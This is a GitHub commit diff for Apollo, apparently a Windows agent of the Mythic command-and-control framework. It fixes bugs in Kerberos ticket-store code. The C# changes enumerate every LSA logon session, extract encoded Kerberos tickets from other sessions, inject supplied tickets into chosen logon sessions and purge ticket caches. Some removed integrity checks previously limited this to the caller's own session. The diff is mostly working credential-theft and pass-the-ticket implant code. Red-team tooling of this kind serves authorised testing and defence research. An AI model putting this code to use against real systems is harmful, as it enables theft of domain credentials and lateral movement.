Skip to content

Commit 398dda4

Browse files
committed
ticket_store bug fixes
1 parent 87a3a79 commit 398dda4

File tree

5 files changed

+79
-65
lines changed

5 files changed

+79
-65
lines changed

Payload_Type/apollo/CHANGELOG.MD

+6
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
55
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
66

7+
## [v2.2.24] - 2025-01-08
8+
9+
### Changed
10+
11+
- Updated the KerberosTicket storage to handle fetching the right ticket more reliably
12+
713
## [v2.2.23] - 2025-01-08
814

915
### Changed

Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs

+69-62
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
using System.Collections.Generic;
33
using System.IO;
44
using System.Linq;
5+
using System.Net.Sockets;
56
using System.Runtime.InteropServices;
67
using System.Security.Principal;
78
using System.Text;
@@ -20,12 +21,12 @@ namespace KerberosTickets;
2021
internal class KerberosHelpers
2122
{
2223
private static HANDLE systemHandle { get; set; }
23-
24+
2425
private static List<Artifact> createdArtifacts = new List<Artifact>();
25-
26-
27-
28-
26+
27+
28+
29+
2930
//private helper methods
3031
private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true)
3132
{
@@ -88,38 +89,30 @@ private static uint GetAuthPackage(HANDLE lsaHandle, HANDLE<LSA_IN_STRING> packa
8889
return authPackage;
8990
}
9091

91-
92+
9293

9394
private static IEnumerable<LUID> GetLogonSessions()
9495
{
9596
List<LUID> logonIds = [];
9697
try
9798
{
98-
if (Agent.GetIdentityManager().GetIntegrityLevel() >= IntegrityLevel.HighIntegrity)
99+
// get all logon ids
100+
DebugHelp.DebugWriteLine("enumerating logon session");
101+
WindowsAPI.LsaEnumerateLogonSessionsDelegate(out uint logonCount, out HANDLE logonIdHandle);
102+
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaEnumerateLogonSessions"));
103+
var logonWorkingHandle = logonIdHandle;
104+
for (var i = 0; i < logonCount; i++)
99105
{
100-
// get all logon ids
101-
DebugHelp.DebugWriteLine("enumerating logon session");
102-
WindowsAPI.LsaEnumerateLogonSessionsDelegate(out uint logonCount, out HANDLE logonIdHandle);
103-
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaEnumerateLogonSessions"));
104-
var logonWorkingHandle = logonIdHandle;
105-
for (var i = 0; i < logonCount; i++)
106+
var logonId = logonWorkingHandle.CastTo<LUID>();
107+
if (logonId.IsNull || logonIds.Contains(logonId))
106108
{
107-
var logonId = logonWorkingHandle.CastTo<LUID>();
108-
if (logonId.IsNull || logonIds.Contains(logonId))
109-
{
110-
DebugHelp.DebugWriteLine("LogonId is null or is already in the list, skipping");
111-
continue;
112-
}
113-
logonIds.Add(logonId);
114-
logonWorkingHandle = logonWorkingHandle.Increment();
109+
DebugHelp.DebugWriteLine("LogonId is null or is already in the list, skipping");
110+
continue;
115111
}
116-
WindowsAPI.LsaFreeReturnBufferDelegate(logonIdHandle);
117-
}
118-
else
119-
{
120-
// we can only get our own if not elevated
121-
logonIds.Add(GetCurrentLuid());
112+
logonIds.Add(logonId);
113+
logonWorkingHandle = logonWorkingHandle.Increment();
122114
}
115+
WindowsAPI.LsaFreeReturnBufferDelegate(logonIdHandle);
123116
}
124117
catch (Exception e)
125118
{
@@ -136,6 +129,11 @@ private static LogonSessionData GetLogonSessionData(HANDLE<LUID> luidHandle)
136129
{
137130
WindowsAPI.LsaGetLogonSessionDataDelegate(luidHandle, out logonSessionDataHandle);
138131
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaGetLogonSessionData"));
132+
if(logonSessionDataHandle.IsNull)
133+
{
134+
DebugHelp.DebugWriteLine($"Error getting logon session data");
135+
return new LogonSessionData();
136+
}
139137
var seclogonSessionData = logonSessionDataHandle.CastTo<SECURITY_LOGON_SESSION_DATA>();
140138
LogonSessionData sessionData = new()
141139
{
@@ -163,7 +161,7 @@ private static LogonSessionData GetLogonSessionData(HANDLE<LUID> luidHandle)
163161
WindowsAPI.LsaFreeReturnBufferDelegate(logonSessionDataHandle);
164162
}
165163
}
166-
164+
167165
private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint authPackage, LUID logonId)
168166
{
169167
//needs to be elevated to pass in a logon id so if we arent we wipe the value here
@@ -174,7 +172,7 @@ private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint
174172
}
175173
// tickets to return
176174
List<KerberosTicket> tickets = [];
177-
175+
178176
KERB_QUERY_TKT_CACHE_REQUEST request = new()
179177
{
180178
MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage,
@@ -192,7 +190,7 @@ private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint
192190
return tickets;
193191
}
194192
var response = returnBuffer.CastTo<KERB_QUERY_TKT_CACHE_RESPONSE>();
195-
193+
196194
if (response.CountOfTickets == 0)
197195
{
198196
DebugHelp.DebugWriteLine("No tickets found");
@@ -244,7 +242,7 @@ private static (HANDLE, uint, IEnumerable<LUID>) InitKerberosConnectionAndSessio
244242
}
245243
DebugHelp.DebugWriteLine("Got LSA Handle");
246244
connectionInfo.Item1 = lsaHandle;
247-
245+
248246
// get auth package
249247
LSA_IN_STRING packageName = new("kerberos");
250248
HANDLE<LSA_IN_STRING> packageNameHandle = new(packageName);
@@ -262,7 +260,6 @@ private static (HANDLE, uint, IEnumerable<LUID>) InitKerberosConnectionAndSessio
262260
// get all logon sessions
263261
if (GetSessions)
264262
{
265-
DebugHelp.DebugWriteLine("Getting Logon Sessions");
266263
var logonSessions = GetLogonSessions();
267264
var logonSessionList = logonSessions.ToList();
268265
DebugHelp.DebugWriteLine($"Found {logonSessionList.Count()} logon sessions");
@@ -295,7 +292,7 @@ private static HANDLE CreateNewLogonSession()
295292
{
296293
createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString()));
297294
}
298-
//debug get the luid for the token
295+
//debug get the luid for the token
299296
int tokenInfoSize = Marshal.SizeOf<TOKEN_STATISTICS>();
300297
HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
301298
WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics,tokenInfo, tokenInfoSize, out int returnLength);
@@ -312,7 +309,7 @@ private static HANDLE CreateNewLogonSession()
312309
return new();
313310
}
314311
}
315-
312+
316313
/// <summary>
317314
/// Gets any created artifacts that were produced between the current call and the last call to this method
318315
/// </summary>
@@ -324,7 +321,7 @@ internal static List<Artifact> GetCreatedArtifacts()
324321
createdArtifacts.Clear();
325322
return artifacts;
326323
}
327-
324+
328325
//internal methods but are exposed via the KerberosTicketManager
329326
internal static LUID GetCurrentLuid()
330327
{
@@ -343,8 +340,8 @@ internal static LUID GetCurrentLuid()
343340
}
344341
return new LUID();
345342
}
346-
347-
343+
344+
348345
internal static LUID GetTargetProcessLuid(int pid)
349346
{
350347
HANDLE tokenInfo = new();
@@ -397,7 +394,7 @@ internal static LUID GetTargetProcessLuid(int pid)
397394
WindowsAPI.CloseHandleDelegate(targetProcessHandle);
398395
}
399396
}
400-
397+
401398
//get all tickets
402399
internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets = false, string targetLuid = "")
403400
{
@@ -443,8 +440,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
443440
}
444441
return allTickets;
445442
}
446-
447-
443+
444+
448445
//extract ticket
449446
internal static KerberosTicket? ExtractTicket(LUID targetLuid, string targetName)
450447
{
@@ -467,7 +464,7 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
467464
DebugHelp.DebugWriteLine($"Failed to find ticket for {targetName}");
468465
return null;
469466
}
470-
467+
471468
KERB_RETRIEVE_TKT_REQUEST request = new()
472469
{
473470
MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage,
@@ -504,8 +501,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
504501
}
505502
//convert the location of the ticket in memory to a struct
506503
var response = returnBuffer.CastTo<KERB_RETRIEVE_TKT_RESPONSE>();
507-
508-
//make sure the ticket has some data
504+
505+
//make sure the ticket has some data
509506
if (response.Ticket.EncodedTicketSize == 0)
510507
{
511508
DebugHelp.DebugWriteLine("No ticket Data to extract");
@@ -523,8 +520,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
523520
return null;
524521
}
525522
}
526-
527-
// load ticket
523+
524+
// load ticket
528525
internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
529526
{
530527
HANDLE requestAndTicketHandle = new();
@@ -536,11 +533,11 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
536533
//Discarding the logonSessions because we do not need them so we pass false to prevent enumerating them
537534
(lsaHandle, uint authPackage, IEnumerable<LUID> _) = InitKerberosConnectionAndSessionInfo(false);
538535
//if we are not an admin user then we cannot send a real lUID so we need to send a null one
539-
if (Agent.GetIdentityManager().GetIntegrityLevel() is <= IntegrityLevel.MediumIntegrity)
540-
{
541-
DebugHelp.DebugWriteLine("Not high integrity, setting targetLuid to 0");
542-
targetLuid = new LUID();
543-
}
536+
//if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity)
537+
//{
538+
// DebugHelp.DebugWriteLine("Not high integrity, setting targetLuid to 0");
539+
// targetLuid = new LUID();
540+
//}
544541
//get the size of the request structure
545542
var requestSize = Marshal.SizeOf<KERB_SUBMIT_TKT_REQUEST>();
546543

@@ -551,26 +548,25 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
551548
KerbCredSize = submittedTicket.Length,
552549
KerbCredOffset = requestSize,
553550
};
554-
551+
555552
//get the size of the required parts and allocate memory for the struct and the ticket
556553
var ticketSize = submittedTicket.Length;
557554
DebugHelp.DebugWriteLine($"Ticket is of size {ticketSize}");
558555
var requestPlusTicketSize = requestSize + ticketSize;
559556
DebugHelp.DebugWriteLine($"Allocating memory for request and ticket of size {requestPlusTicketSize}");
560557
requestAndTicketHandle = new(Marshal.AllocHGlobal(requestPlusTicketSize));
561-
558+
562559
//write the request to the start of the new memory block
563560
Marshal.StructureToPtr(request, requestAndTicketHandle, false);
564561
//get the address of the end of the struct
565562
HANDLE requestEndAddress = new(new(requestAndTicketHandle.PtrLocation.ToInt64() + requestSize));
566563
//write the ticket to the end of the struct
567564
Marshal.Copy(submittedTicket, 0, requestEndAddress.PtrLocation, ticketSize);
568-
565+
569566
//submit the ticket
570567
DebugHelp.DebugWriteLine($"Submitting ticket of size {ticketSize} to LSA");
571568
var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestAndTicketHandle, requestPlusTicketSize, out returnBuffer, out uint returnLength, out NTSTATUS returnStatus);
572569
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage"));
573-
574570
if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS)
575571
{
576572
DebugHelp.DebugWriteLine($"Failed to submit ticket with api status: {status} and return status: {returnStatus}");
@@ -590,10 +586,10 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
590586
//is checked because for some operations loading the ticket is not the final step so we may want to keep the handle open
591587
WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle);
592588
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess"));
593-
589+
594590
}
595591
}
596-
592+
597593
// unload ticket
598594
internal static bool UnloadTicket(string serviceName, string domainName, LUID targetLuid, bool All)
599595
{
@@ -617,7 +613,7 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
617613
MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage,
618614
LogonId = Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity ? new LUID() : targetLuid
619615
};
620-
616+
621617
// Marshal the request structure first
622618
Marshal.StructureToPtr(request, requestBuffer, false);
623619

@@ -677,7 +673,7 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
677673
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess"));
678674
}
679675
}
680-
676+
681677
//describe ticket
682678
internal static KerberosTicket? TryGetTicketDetailsFromKirbi(byte[] kirbiTicket)
683679
{
@@ -695,11 +691,22 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
695691
WindowsAPI.ImpersonateLoggedOnUserDelegate(newlogonHandle);
696692
createdArtifacts.Add(Artifact.WindowsAPIInvoke("ImpersonateLoggedOnUser"));
697693
//passing new luid here is fine because we have switched to the new logon session
698-
LoadTicket(kirbiTicket, new LUID());
699-
ticket = TriageTickets().FirstOrDefault();
700-
ticket.Kirbi = kirbiTicket;
694+
int tokenInfoSize = Marshal.SizeOf<TOKEN_STATISTICS>();
695+
HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
696+
WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength);
697+
createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation"));
698+
TOKEN_STATISTICS tokenStats = tokenInfo.CastTo<TOKEN_STATISTICS>();
699+
LoadTicket(kirbiTicket, tokenStats.AuthenticationId);
700+
ticket = TriageTickets(getSystemTickets:true, targetLuid:$"{tokenStats.AuthenticationId}").FirstOrDefault();
701+
if(ticket != null)
702+
{
703+
ticket.Kirbi = kirbiTicket;
704+
DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}");
705+
} else
706+
{
707+
DebugHelp.DebugWriteLine($"Failed to triage any tickets");
708+
}
701709
}
702-
DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}");
703710
}
704711
catch (Exception e)
705712
{

Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_add.cs

+2-2
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ public override void Start()
4141
KerberosTicket? ticket = _agent.GetTicketManager().GetTicketDetailsFromKirbi(ticketBytes);
4242
if(ticket == null)
4343
{
44-
resp = CreateTaskResponse($"Failed to extract ticket from kirbi", true, "error");
44+
resp = CreateTaskResponse($"Failed to extract ticket from kirbi or failed to parse new data", true, "error");
4545
}
4646
else
4747
{
@@ -51,7 +51,7 @@ public override void Start()
5151
}
5252
catch (Exception e)
5353
{
54-
resp = CreateTaskResponse($"Failed to inject ticket into session: {e.Message}", true, "error");
54+
resp = CreateTaskResponse($"Failed to add ticket into store: {e.Message}", true, "error");
5555
}
5656
//get and send back any artifacts
5757
IEnumerable<Artifact> artifacts = _agent.GetTicketManager().GetArtifacts();

Payload_Type/apollo/apollo/mythic/agent_functions/builder.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ class Apollo(PayloadType):
2121
supported_os = [
2222
SupportedOS.Windows
2323
]
24-
version = "2.2.23"
24+
version = "2.2.24"
2525
wrapper = False
2626
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
2727
note = """

Payload_Type/apollo/apollo/mythic/agent_functions/inject.py

+1
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,7 @@ async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRP
5353
for f in payload_search.Payloads:
5454
file_names.append(f"{f.Filename} - {f.Description}")
5555
fileResponse.Success = True
56+
file_names.sort()
5657
fileResponse.Choices = file_names
5758
return fileResponse
5859
else:

0 commit comments

Comments
 (0)